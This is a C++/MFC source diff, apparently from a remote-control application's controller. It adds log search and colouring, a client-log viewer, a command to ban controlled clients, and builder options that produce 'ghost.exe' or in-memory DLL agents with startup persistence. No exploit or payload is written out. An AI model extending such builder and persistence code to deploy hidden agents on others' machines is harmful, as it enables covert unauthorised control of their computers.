BOOL hideLog = THIS_CFG.GetInt("settings", "HideMsg", 0) == 1;
|
||||||
const int SPLITTER_H = 6;
|
const int SPLITTER_H = 6;
|
||||||
|
const int LOG_SEARCH_H = 26; // 日志搜索条高度
|
||||||
// 日志区有效高度 = m_nSplitPos(不含分割条),分割条紧贴日志区上方
|
// 日志区有效高度 = m_nSplitPos(不含分割条),分割条紧贴日志区上方
|
||||||
int splitPos = hideLog ? 0 : m_nSplitPos;
|
int splitPos = hideLog ? 0 : m_nSplitPos;
|
||||||
|
|
||||||
@@ -3232,6 +3283,22 @@ void CMy2015RemoteDlg::OnSize(UINT nType, int cx, int cy)
|
|||||||
}
|
}
|
||||||
LeaveCriticalSection(&m_cs);
|
LeaveCriticalSection(&m_cs);
|
||||||
|
|
||||||
|
if (m_pLogSearchBar && m_pLogSearchBar->GetSafeHwnd()) {
|
||||||
|
if (hideLog || !m_bLogSearchVisible) {
|
||||||
|
m_pLogSearchBar->ShowWindow(SW_HIDE);
|
||||||
|
} else {
|
||||||
|
m_pLogSearchBar->ShowWindow(SW_SHOW);
|
||||||
|
// 右对齐,最多 380px;左侧留出 180px 给分组信息
|
||||||
|
int barW = min(260, max(60, cx - 182));
|
||||||
|
int barX = cx - 2 - barW;
|
||||||
|
// 叠在在线列表底部右角:紧贴分割条上方,向上偏移一个条高
|
||||||
|
int barY = cy - 20 - splitPos - SPLITTER_H - LOG_SEARCH_H + 5;
|
||||||
|
m_pLogSearchBar->MoveWindow(barX, barY, barW, LOG_SEARCH_H);
|
||||||
|
// 保证搜索条在列表控件上层(BringWindowToTop 仅影响 Z-order,不影响焦点)
|
||||||
|
m_pLogSearchBar->BringWindowToTop();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
if (m_SplitterBar.m_hWnd != NULL) {
|
if (m_SplitterBar.m_hWnd != NULL) {
|
||||||
if (hideLog) {
|
if (hideLog) {
|
||||||
m_SplitterBar.ShowWindow(SW_HIDE);
|
m_SplitterBar.ShowWindow(SW_HIDE);
|
||||||
@@ -4040,6 +4107,8 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
|
|||||||
Menu.SetMenuItemBitmaps(ID_CANCEL_SHARE, MF_BYCOMMAND, &m_bmOnline[50], &m_bmOnline[50]);
|
Menu.SetMenuItemBitmaps(ID_CANCEL_SHARE, MF_BYCOMMAND, &m_bmOnline[50], &m_bmOnline[50]);
|
||||||
Menu.SetMenuItemBitmaps(ID_COPY_CLIENT_INFO, MF_BYCOMMAND, &m_bmOnline[58], &m_bmOnline[58]);
|
Menu.SetMenuItemBitmaps(ID_COPY_CLIENT_INFO, MF_BYCOMMAND, &m_bmOnline[58], &m_bmOnline[58]);
|
||||||
Menu.SetMenuItemBitmaps(ID_ONLINE_ACTIVE_WND, MF_BYCOMMAND, &m_bmOnline[59], &m_bmOnline[59]);
|
Menu.SetMenuItemBitmaps(ID_ONLINE_ACTIVE_WND, MF_BYCOMMAND, &m_bmOnline[59], &m_bmOnline[59]);
|
||||||
|
Menu.SetMenuItemBitmaps(ID_ONLINE_CLIENT_LOG, MF_BYCOMMAND, &m_bmOnline[61], &m_bmOnline[61]);
|
||||||
|
Menu.SetMenuItemBitmaps(ID_ONLINE_FORBIDDEN, MF_BYCOMMAND, &m_bmOnline[62], &m_bmOnline[62]);
|
||||||
|
|
||||||
Menu.ModifyMenuL(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_STRING, ID_ONLINE_AUTHORIZE, _T("发送授权"));
|
Menu.ModifyMenuL(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_STRING, ID_ONLINE_AUTHORIZE, _T("发送授权"));
|
||||||
|
|
||||||
@@ -5225,6 +5294,20 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
|||||||
// 【L】:主机上下线和授权
|
// 【L】:主机上下线和授权
|
||||||
// 【x】:对话框相关功能
|
// 【x】:对话框相关功能
|
||||||
switch (cmd) {
|
switch (cmd) {
|
||||||
|
case TOKEN_REPORT_LOG: {
|
||||||
|
std::string logText((char*)(szBuffer + 1), len > 1 ? len - 1 : 0);
|
||||||
|
if (!ContextObject->hDlg) {
|
||||||
|
// 对话框尚未打开:用 SendMessage 同步打开并显示初始全量日志
|
||||||
|
SendMessage(WM_OPENCLIENTLOGDIALOG,
|
||||||
|
(WPARAM)new std::string(logText),
|
||||||
|
(LPARAM)ContextObject);
|
||||||
|
} else {
|
||||||
|
// 对话框已在:PostMessage 追加增量日志
|
||||||
|
static_cast<CClientLog*>(ContextObject->hDlg)->PostMessage(
|
||||||
|
WM_REPORT_CLIENT_LOG, 0, (LPARAM)new std::string(logText));
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
case TOKEN_CLIENT_MSG: {
|
case TOKEN_CLIENT_MSG: {
|
||||||
ClientMsg *msg =(ClientMsg*)ContextObject->InDeCompressedBuffer.GetBuffer(0);
|
ClientMsg *msg =(ClientMsg*)ContextObject->InDeCompressedBuffer.GetBuffer(0);
|
||||||
PostMessageA(WM_SHOWERRORMSG, (WPARAM)new CString(_L(msg->text)), (LPARAM)new CString(_L(msg->title)));
|
PostMessageA(WM_SHOWERRORMSG, (WPARAM)new CString(_L(msg->text)), (LPARAM)new CString(_L(msg->title)));
|
||||||
@@ -9160,10 +9243,40 @@ void CMy2015RemoteDlg::OnNMCustomdrawMessage(NMHDR* pNMHDR, LRESULT* pResult)
|
|||||||
|
|
||||||
case CDDS_ITEMPREPAINT: {
|
case CDDS_ITEMPREPAINT: {
|
||||||
int nRow = static_cast<int>(pLVCD->nmcd.dwItemSpec);
|
int nRow = static_cast<int>(pLVCD->nmcd.dwItemSpec);
|
||||||
int nLastRow = m_CList_Message.GetItemCount() - 1;
|
|
||||||
if (nRow == nLastRow && nLastRow >= 0) {
|
// 搜索命中行深蓝高亮(不依赖 CDIS_SELECTED,直接读搜索栏当前命中行号)
|
||||||
pLVCD->clrText = RGB(255, 0, 0);
|
if (m_pLogSearchBar) {
|
||||||
|
int nHit = m_pLogSearchBar->GetHighlightedRow();
|
||||||
|
if (nHit >= 0 && nRow == nHit) {
|
||||||
|
pLVCD->clrTextBk = RGB(0, 80, 180);
|
||||||
|
pLVCD->clrText = RGB(255, 255, 255);
|
||||||
|
*pResult = CDRF_NEWFONT;
|
||||||
|
return;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 关键字着色:必须同时设 clrText + clrTextBk,否则系统预填的蓝色会泄漏
|
||||||
|
int colorLevel = (int)m_CList_Message.GetItemData(nRow);
|
||||||
|
COLORREF bkDefault = ::GetSysColor(COLOR_WINDOW);
|
||||||
|
if (colorLevel == 1) {
|
||||||
|
pLVCD->clrText = RGB(220, 0, 0);
|
||||||
|
pLVCD->clrTextBk = bkDefault;
|
||||||
|
*pResult = CDRF_NEWFONT;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (colorLevel == 2) {
|
||||||
|
pLVCD->clrText = RGB(200, 100, 0);
|
||||||
|
pLVCD->clrTextBk = bkDefault;
|
||||||
|
*pResult = CDRF_NEWFONT;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (colorLevel == 3) {
|
||||||
|
pLVCD->clrText = RGB(0, 140, 0);
|
||||||
|
pLVCD->clrTextBk = bkDefault;
|
||||||
|
*pResult = CDRF_NEWFONT;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -9177,6 +9290,9 @@ void CMy2015RemoteDlg::OnRClickMessage(NMHDR* pNMHDR, LRESULT* pResult)
|
|||||||
menu.AppendMenu(MF_STRING, ID_MSGLOG_DELETE, _TR("删除选中"));
|
menu.AppendMenu(MF_STRING, ID_MSGLOG_DELETE, _TR("删除选中"));
|
||||||
menu.AppendMenu(MF_STRING, ID_MSGLOG_COPY, _TR("复制选中"));
|
menu.AppendMenu(MF_STRING, ID_MSGLOG_COPY, _TR("复制选中"));
|
||||||
menu.AppendMenu(MF_STRING, ID_MSGLOG_CLEAR, _TR("清空日志"));
|
menu.AppendMenu(MF_STRING, ID_MSGLOG_CLEAR, _TR("清空日志"));
|
||||||
|
menu.AppendMenu(MF_SEPARATOR);
|
||||||
|
menu.AppendMenu(MF_STRING, ID_MSGLOG_SEARCH,
|
||||||
|
m_bLogSearchVisible ? _TR("隐藏搜索") : _TR("搜索日志"));
|
||||||
|
|
||||||
// 没有选中项时禁用"删除选中"
|
// 没有选中项时禁用"删除选中"
|
||||||
if (m_CList_Message.GetSelectedCount() == 0) {
|
if (m_CList_Message.GetSelectedCount() == 0) {
|
||||||
@@ -9201,7 +9317,7 @@ void CMy2015RemoteDlg::OnMsglogDelete()
|
|||||||
while (pos) {
|
while (pos) {
|
||||||
selected.push_back(m_CList_Message.GetNextSelectedItem(pos));
|
selected.push_back(m_CList_Message.GetNextSelectedItem(pos));
|
||||||
}
|
}
|
||||||
// 倒序删除
|
// 倒序删除,避免索引变化
|
||||||
for (auto it = selected.rbegin(); it != selected.rend(); ++it) {
|
for (auto it = selected.rbegin(); it != selected.rend(); ++it) {
|
||||||
m_CList_Message.DeleteItem(*it);
|
m_CList_Message.DeleteItem(*it);
|
||||||
}
|
}
|
||||||
@@ -9244,6 +9360,14 @@ void CMy2015RemoteDlg::OnMsglogClear()
|
|||||||
m_CList_Message.DeleteAllItems();
|
m_CList_Message.DeleteAllItems();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void CMy2015RemoteDlg::OnMsglogSearch()
|
||||||
|
{
|
||||||
|
m_bLogSearchVisible = !m_bLogSearchVisible;
|
||||||
|
// 复用 OnSize 里的布局逻辑
|
||||||
|
CRect rc;
|
||||||
|
GetClientRect(&rc);
|
||||||
|
OnSize(SIZE_RESTORED, rc.Width(), rc.Height());
|
||||||
|
}
|
||||||
|
|
||||||
void CMy2015RemoteDlg::OnOnlineAddWatch()
|
void CMy2015RemoteDlg::OnOnlineAddWatch()
|
||||||
{
|
{
|
||||||
@@ -10483,41 +10607,50 @@ void CMy2015RemoteDlg::OnParamEnableLog()
|
|||||||
|
|
||||||
void CMy2015RemoteDlg::OnParamPrivacyWallpaper()
|
void CMy2015RemoteDlg::OnParamPrivacyWallpaper()
|
||||||
{
|
{
|
||||||
|
auto SubMenu = m_MainMenu.GetSubMenu(2);
|
||||||
|
|
||||||
|
// 已设置壁纸:再次点击则清空
|
||||||
|
if (!m_PrivateScreenWallpaper.IsEmpty()) {
|
||||||
|
m_PrivateScreenWallpaper.Empty();
|
||||||
|
THIS_CFG.SetStr("settings", "Wallpaper", "");
|
||||||
|
if (SubMenu)
|
||||||
|
SubMenu->CheckMenuItem(ID_PARAM_PRIVACY_WALLPAPER, MF_UNCHECKED);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 未设置壁纸:弹出文件对话框
|
||||||
CFileDialog dlg(TRUE, _T("bmp"), NULL,
|
CFileDialog dlg(TRUE, _T("bmp"), NULL,
|
||||||
OFN_FILEMUSTEXIST | OFN_HIDEREADONLY,
|
OFN_FILEMUSTEXIST | OFN_HIDEREADONLY,
|
||||||
_T("BMP Files (*.bmp)|*.bmp|All Files (*.*)|*.*||"), this);
|
_T("BMP Files (*.bmp)|*.bmp|All Files (*.*)|*.*||"), this);
|
||||||
|
|
||||||
if (dlg.DoModal() == IDOK) {
|
if (dlg.DoModal() != IDOK)
|
||||||
CString path = dlg.GetPathName();
|
return;
|
||||||
|
|
||||||
// 验证文件是否可以读取
|
CString path = dlg.GetPathName();
|
||||||
CFile file;
|
|
||||||
if (!file.Open(path, CFile::modeRead | CFile::typeBinary)) {
|
|
||||||
MessageBox(_TR("无法读取指定的BMP文件,请检查文件是否存在或权限是否正确。"),
|
|
||||||
_TR("错误"), MB_ICONERROR);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 验证是否是有效的BMP文件
|
CFile file;
|
||||||
BITMAPFILEHEADER bmfh;
|
if (!file.Open(path, CFile::modeRead | CFile::typeBinary)) {
|
||||||
if (file.Read(&bmfh, sizeof(bmfh)) != sizeof(bmfh) || bmfh.bfType != 0x4D42) {
|
MessageBox(_TR("无法读取指定的BMP文件,请检查文件是否存在或权限是否正确。"),
|
||||||
file.Close();
|
_TR("错误"), MB_ICONERROR);
|
||||||
MessageBox(_TR("指定的文件不是有效的BMP格式。"),
|
return;
|
||||||
_TR("错误"), MB_ICONERROR);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
file.Close();
|
|
||||||
|
|
||||||
m_PrivateScreenWallpaper = path;
|
|
||||||
THIS_CFG.SetStr("settings", "Wallpaper", path.GetString());
|
|
||||||
auto SubMenu = m_MainMenu.GetSubMenu(2); // 工具菜单
|
|
||||||
if (SubMenu) {
|
|
||||||
SubMenu->CheckMenuItem(ID_PARAM_PRIVACY_WALLPAPER, MF_CHECKED);
|
|
||||||
}
|
|
||||||
CString msg;
|
|
||||||
msg.Format(_TR("隐私屏幕壁纸已设置为:\n%s"), path);
|
|
||||||
MessageBox(msg + CString("\n") + _L("如需恢复默认值,请从磁盘移除该文件。"), _TR("设置成功"), MB_ICONINFORMATION);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
BITMAPFILEHEADER bmfh;
|
||||||
|
if (file.Read(&bmfh, sizeof(bmfh)) != sizeof(bmfh) || bmfh.bfType != 0x4D42) {
|
||||||
|
file.Close();
|
||||||
|
MessageBox(_TR("指定的文件不是有效的BMP格式。"),
|
||||||
|
_TR("错误"), MB_ICONERROR);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
file.Close();
|
||||||
|
|
||||||
|
m_PrivateScreenWallpaper = path;
|
||||||
|
THIS_CFG.SetStr("settings", "Wallpaper", path.GetString());
|
||||||
|
if (SubMenu)
|
||||||
|
SubMenu->CheckMenuItem(ID_PARAM_PRIVACY_WALLPAPER, MF_CHECKED);
|
||||||
|
CString msg;
|
||||||
|
msg.Format(_TR("隐私屏幕壁纸已设置为:\n%s"), path);
|
||||||
|
MessageBox(msg, _TR("设置成功"), MB_ICONINFORMATION);
|
||||||
}
|
}
|
||||||
|
|
||||||
void CMy2015RemoteDlg::OnParamFileV2()
|
void CMy2015RemoteDlg::OnParamFileV2()
|
||||||
@@ -11452,3 +11585,101 @@ void CMy2015RemoteDlg::OnOnlineActiveWnd()
|
|||||||
if (!ctx) return;
|
if (!ctx) return;
|
||||||
PostCaptureForegroundWindow(ctx);
|
PostCaptureForegroundWindow(ctx);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
bool SetUserEnvironmentVariable(const char* name, const char* value)
|
||||||
|
{
|
||||||
|
HKEY hKey = NULL;
|
||||||
|
|
||||||
|
LONG ret = RegOpenKeyExA(
|
||||||
|
HKEY_CURRENT_USER,
|
||||||
|
"Environment",
|
||||||
|
0,
|
||||||
|
KEY_SET_VALUE,
|
||||||
|
&hKey);
|
||||||
|
|
||||||
|
if (ret != ERROR_SUCCESS)
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
ret = RegSetValueExA(
|
||||||
|
hKey,
|
||||||
|
name,
|
||||||
|
0,
|
||||||
|
REG_SZ, // 或 REG_EXPAND_SZ
|
||||||
|
(const BYTE*)value,
|
||||||
|
(DWORD)(strlen(value) + 1));
|
||||||
|
|
||||||
|
RegCloseKey(hKey);
|
||||||
|
|
||||||
|
if (ret != ERROR_SUCCESS)
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 通知系统环境变量已更新
|
||||||
|
SendMessageTimeoutA(
|
||||||
|
HWND_BROADCAST,
|
||||||
|
WM_SETTINGCHANGE,
|
||||||
|
0,
|
||||||
|
(LPARAM)"Environment",
|
||||||
|
SMTO_ABORTIFHUNG,
|
||||||
|
5000,
|
||||||
|
NULL);
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CMy2015RemoteDlg::OnEnableDevDebug()
|
||||||
|
{
|
||||||
|
const char* debug = getenv("YAMA_DBG");
|
||||||
|
if (!debug || strlen(debug) == 0) {
|
||||||
|
MessageBoxL("您必须正确设置 YAMA_DBG 才能调试此程序!\r\n请联系管理员请求授权。",
|
||||||
|
"提示", MB_ICONINFORMATION);
|
||||||
|
CInputDialog dlg(this);
|
||||||
|
dlg.Init(_L("设置环境变量"), "YAMA_DBG:");
|
||||||
|
if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty()) return;
|
||||||
|
SetUserEnvironmentVariable("YAMA_DBG", dlg.m_str) ?
|
||||||
|
MessageBoxL("设置成功! 请重启程序和调试器。", "提示", MB_ICONINFORMATION) :
|
||||||
|
MessageBoxL("设置失败! 通常是权限不足, 请手动在系统环境变量设置。", "提示", MB_ICONINFORMATION);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
MessageBoxA(_TR("您已设置 YAMA_DBG, 请确保环境变量正确无误!\r\n")+
|
||||||
|
"YAMA_DBG=" + CString(debug), _L("提示"), MB_ICONINFORMATION);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void CMy2015RemoteDlg::OnOnlineClientLog()
|
||||||
|
{
|
||||||
|
BYTE cmd = COMMAND_QUERY_LOG;
|
||||||
|
SendSelectedCommand(&cmd, sizeof(BYTE));
|
||||||
|
}
|
||||||
|
|
||||||
|
LRESULT CMy2015RemoteDlg::OnOpenClientLogDialog(WPARAM wParam, LPARAM lParam)
|
||||||
|
{
|
||||||
|
std::string* pInitLog = reinterpret_cast<std::string*>(wParam);
|
||||||
|
std::string initLog = pInitLog ? *pInitLog : "";
|
||||||
|
delete pInitLog;
|
||||||
|
|
||||||
|
OpenDialog<CClientLog, IDD_DIALOG_CLIENT_LOG>(0, lParam);
|
||||||
|
|
||||||
|
CONTEXT_OBJECT* ctx = reinterpret_cast<CONTEXT_OBJECT*>(lParam);
|
||||||
|
if (ctx && ctx->hDlg && !initLog.empty())
|
||||||
|
static_cast<CClientLog*>(ctx->hDlg)->AppendLog(initLog);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
void forbiddenClient(context* ctx, void* user) {
|
||||||
|
_ClientList* m_ClientMap = (_ClientList*)user;
|
||||||
|
m_ClientMap->SetClientMapInteger(ctx->GetClientID(), MAP_AUTH, AUTH_FORBIDDEN);
|
||||||
|
}
|
||||||
|
|
||||||
|
void CMy2015RemoteDlg::OnOnlineForbidden()
|
||||||
|
{
|
||||||
|
if (IDYES != MessageBoxL(_T("确定封禁选定的被控程序吗?"), _T("提示"), MB_ICONQUESTION | MB_YESNO))
|
||||||
|
return;
|
||||||
|
|
||||||
|
BYTE buf[32] = { COMMAND_FORBIDDEN };
|
||||||
|
SendSelectedCommand(buf, sizeof(buf), forbiddenClient, m_ClientMap);
|
||||||
|
}
|
||||||
|
|||||||
@@ -75,6 +75,7 @@ class CSplashDlg; // 前向声明
|
|||||||
class CClientListDlg;
|
class CClientListDlg;
|
||||||
class CLicenseDlg;
|
class CLicenseDlg;
|
||||||
class CSearchBarDlg;
|
class CSearchBarDlg;
|
||||||
|
class CLogSearchBar;
|
||||||
|
|
||||||
#include "pwd_gen.h"
|
#include "pwd_gen.h"
|
||||||
|
|
||||||
@@ -140,7 +141,9 @@ public:
|
|||||||
_ClientList *m_ClientMap = nullptr;
|
_ClientList *m_ClientMap = nullptr;
|
||||||
CClientListDlg* m_pClientListDlg = nullptr;
|
CClientListDlg* m_pClientListDlg = nullptr;
|
||||||
CLicenseDlg* m_pLicenseDlg = nullptr;
|
CLicenseDlg* m_pLicenseDlg = nullptr;
|
||||||
CSearchBarDlg* m_pSearchBar = nullptr; // 搜索工具栏
|
CSearchBarDlg* m_pSearchBar = nullptr;
|
||||||
|
CLogSearchBar* m_pLogSearchBar = nullptr;
|
||||||
|
bool m_bLogSearchVisible = false; // 日志搜索条是否显示(右键菜单切换)
|
||||||
BOOL m_bEnableFileV2 = FALSE; // V2 文件传输开关
|
BOOL m_bEnableFileV2 = FALSE; // V2 文件传输开关
|
||||||
|
|
||||||
// 构造
|
// 构造
|
||||||
@@ -382,7 +385,7 @@ public:
|
|||||||
bool IsDllRequestLimited(const std::string& ip);
|
bool IsDllRequestLimited(const std::string& ip);
|
||||||
void RecordDllRequest(const std::string& ip);
|
void RecordDllRequest(const std::string& ip);
|
||||||
CMenu m_MainMenu;
|
CMenu m_MainMenu;
|
||||||
CBitmap m_bmOnline[60];
|
CBitmap m_bmOnline[63];
|
||||||
uint64_t m_superID;
|
uint64_t m_superID;
|
||||||
std::map<HWND, CDialogBase *> m_RemoteWnds;
|
std::map<HWND, CDialogBase *> m_RemoteWnds;
|
||||||
FileTransformCmd m_CmdList;
|
FileTransformCmd m_CmdList;
|
||||||
@@ -560,6 +563,7 @@ public:
|
|||||||
afx_msg void OnMsglogDelete();
|
afx_msg void OnMsglogDelete();
|
||||||
afx_msg void OnMsglogCopy();
|
afx_msg void OnMsglogCopy();
|
||||||
afx_msg void OnMsglogClear();
|
afx_msg void OnMsglogClear();
|
||||||
|
afx_msg void OnMsglogSearch();
|
||||||
afx_msg void OnOnlineAddWatch();
|
afx_msg void OnOnlineAddWatch();
|
||||||
afx_msg void OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult);
|
afx_msg void OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult);
|
||||||
afx_msg void OnOnlineRunAsAdmin();
|
afx_msg void OnOnlineRunAsAdmin();
|
||||||
@@ -636,4 +640,8 @@ public:
|
|||||||
afx_msg LRESULT OnSplitterReleased(WPARAM wParam, LPARAM lParam);
|
afx_msg LRESULT OnSplitterReleased(WPARAM wParam, LPARAM lParam);
|
||||||
afx_msg void OnCopyClientInfo();
|
afx_msg void OnCopyClientInfo();
|
||||||
afx_msg void OnOnlineActiveWnd();
|
afx_msg void OnOnlineActiveWnd();
|
||||||
|
afx_msg void OnEnableDevDebug();
|
||||||
|
afx_msg void OnOnlineClientLog();
|
||||||
|
afx_msg LRESULT OnOpenClientLogDialog(WPARAM wParam, LPARAM lParam);
|
||||||
|
afx_msg void OnOnlineForbidden();
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -290,6 +290,8 @@
|
|||||||
<ClInclude Include="Buffer.h" />
|
<ClInclude Include="Buffer.h" />
|
||||||
<ClInclude Include="BuildDlg.h" />
|
<ClInclude Include="BuildDlg.h" />
|
||||||
<ClInclude Include="CClientListDlg.h" />
|
<ClInclude Include="CClientListDlg.h" />
|
||||||
|
<ClInclude Include="CClientLog.h" />
|
||||||
|
<ClInclude Include="LogSearchBar.h" />
|
||||||
<ClInclude Include="CDlgFileSend.h" />
|
<ClInclude Include="CDlgFileSend.h" />
|
||||||
<ClInclude Include="CDrawingBoard.h" />
|
<ClInclude Include="CDrawingBoard.h" />
|
||||||
<ClInclude Include="CGridDialog.h" />
|
<ClInclude Include="CGridDialog.h" />
|
||||||
@@ -371,6 +373,8 @@
|
|||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ClCompile Include="..\..\client\Audio.cpp" />
|
<ClCompile Include="..\..\client\Audio.cpp" />
|
||||||
|
<ClCompile Include="CClientLog.cpp" />
|
||||||
|
<ClCompile Include="LogSearchBar.cpp" />
|
||||||
<ClCompile Include="msvc_compat.c">
|
<ClCompile Include="msvc_compat.c">
|
||||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
|
||||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
|
||||||
@@ -507,8 +511,11 @@
|
|||||||
<Image Include="res\Bitmap\authorize.bmp" />
|
<Image Include="res\Bitmap\authorize.bmp" />
|
||||||
<Image Include="res\Bitmap\Backup.bmp" />
|
<Image Include="res\Bitmap\Backup.bmp" />
|
||||||
<Image Include="res\Bitmap\CancelShare.bmp" />
|
<Image Include="res\Bitmap\CancelShare.bmp" />
|
||||||
|
<Image Include="res\Bitmap\ClientLog.bmp" />
|
||||||
|
<Image Include="res\Bitmap\Forbidden.bmp" />
|
||||||
<Image Include="res\bitmap\compress.bmp" />
|
<Image Include="res\bitmap\compress.bmp" />
|
||||||
<Image Include="res\Bitmap\Copy.bmp" />
|
<Image Include="res\Bitmap\Copy.bmp" />
|
||||||
|
<Image Include="res\Bitmap\Debug.bmp" />
|
||||||
<Image Include="res\Bitmap\delete.bmp" />
|
<Image Include="res\Bitmap\delete.bmp" />
|
||||||
<Image Include="res\Bitmap\DxgiDesktop.bmp" />
|
<Image Include="res\Bitmap\DxgiDesktop.bmp" />
|
||||||
<Image Include="res\Bitmap\EditGroup.bmp" />
|
<Image Include="res\Bitmap\EditGroup.bmp" />
|
||||||
@@ -560,6 +567,7 @@
|
|||||||
<Image Include="res\Bitmap\Wallet.bmp" />
|
<Image Include="res\Bitmap\Wallet.bmp" />
|
||||||
<Image Include="res\Bitmap\WebDesktop.bmp" />
|
<Image Include="res\Bitmap\WebDesktop.bmp" />
|
||||||
<Image Include="res\chat.ico" />
|
<Image Include="res\chat.ico" />
|
||||||
|
<Image Include="res\ClientLog.ico" />
|
||||||
<Image Include="res\cmdshell.ico" />
|
<Image Include="res\cmdshell.ico" />
|
||||||
<Image Include="res\decrypt.ico" />
|
<Image Include="res\decrypt.ico" />
|
||||||
<Image Include="res\DrawingBoard.ico" />
|
<Image Include="res\DrawingBoard.ico" />
|
||||||
|
|||||||
@@ -84,6 +84,7 @@
|
|||||||
<ClCompile Include="PluginSettingsDlg.cpp" />
|
<ClCompile Include="PluginSettingsDlg.cpp" />
|
||||||
<ClCompile Include="PreviewTipWnd.cpp" />
|
<ClCompile Include="PreviewTipWnd.cpp" />
|
||||||
<ClCompile Include="TriggerSettingsDlg.cpp" />
|
<ClCompile Include="TriggerSettingsDlg.cpp" />
|
||||||
|
<ClCompile Include="CClientLog.cpp" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ClInclude Include="..\..\client\Audio.h" />
|
<ClInclude Include="..\..\client\Audio.h" />
|
||||||
@@ -188,6 +189,7 @@
|
|||||||
<ClInclude Include="PluginSettingsDlg.h" />
|
<ClInclude Include="PluginSettingsDlg.h" />
|
||||||
<ClInclude Include="PreviewTipWnd.h" />
|
<ClInclude Include="PreviewTipWnd.h" />
|
||||||
<ClInclude Include="TriggerSettingsDlg.h" />
|
<ClInclude Include="TriggerSettingsDlg.h" />
|
||||||
|
<ClInclude Include="CClientLog.h" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ResourceCompile Include="2015Remote.rc" />
|
<ResourceCompile Include="2015Remote.rc" />
|
||||||
@@ -327,5 +329,8 @@
|
|||||||
<Image Include="res\bitmap\uninstall.bmp" />
|
<Image Include="res\bitmap\uninstall.bmp" />
|
||||||
<Image Include="res\Bitmap\Copy.bmp" />
|
<Image Include="res\Bitmap\Copy.bmp" />
|
||||||
<Image Include="res\bitmap\ActiveWnd.bmp" />
|
<Image Include="res\bitmap\ActiveWnd.bmp" />
|
||||||
|
<Image Include="res\Bitmap\Debug.bmp" />
|
||||||
|
<Image Include="res\ClientLog.ico" />
|
||||||
|
<Image Include="res\Bitmap\ClientLog.bmp" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
</Project>
|
</Project>
|
||||||
@@ -30,6 +30,8 @@ enum Index {
|
|||||||
IndexLinuxGhost,
|
IndexLinuxGhost,
|
||||||
IndexMacGhost,
|
IndexMacGhost,
|
||||||
IndexAndroidGhost,
|
IndexAndroidGhost,
|
||||||
|
IndexGhostSystem,
|
||||||
|
IndexTestRunSystem,
|
||||||
OTHER_ITEM
|
OTHER_ITEM
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -493,6 +495,22 @@ void CBuildDlg::OnBnClickedOk()
|
|||||||
szBuffer = ReadResource(IDR_ANDROID_GHOST, dwFileSize, ResFileName::GHOST_ANDROID);
|
szBuffer = ReadResource(IDR_ANDROID_GHOST, dwFileSize, ResFileName::GHOST_ANDROID);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
case IndexGhostSystem:
|
||||||
|
file = "ghost.exe";
|
||||||
|
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Windows Ghost" : m_sInstallDir);
|
||||||
|
typ = CLIENT_TYPE_ONE;
|
||||||
|
startup = Startup_GhostSystem;
|
||||||
|
szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize,
|
||||||
|
is64bit ? ResFileName::GHOST_X64 : ResFileName::GHOST_X86);
|
||||||
|
break;
|
||||||
|
case IndexTestRunSystem:
|
||||||
|
file = "TestRun.exe";
|
||||||
|
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Client Demo" : m_sInstallDir);
|
||||||
|
typ = CLIENT_TYPE_MEMDLL;
|
||||||
|
startup = Startup_TestRunSystem;
|
||||||
|
szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize,
|
||||||
|
is64bit ? ResFileName::TESTRUN_X64 : ResFileName::TESTRUN_X86);
|
||||||
|
break;
|
||||||
case OTHER_ITEM: {
|
case OTHER_ITEM: {
|
||||||
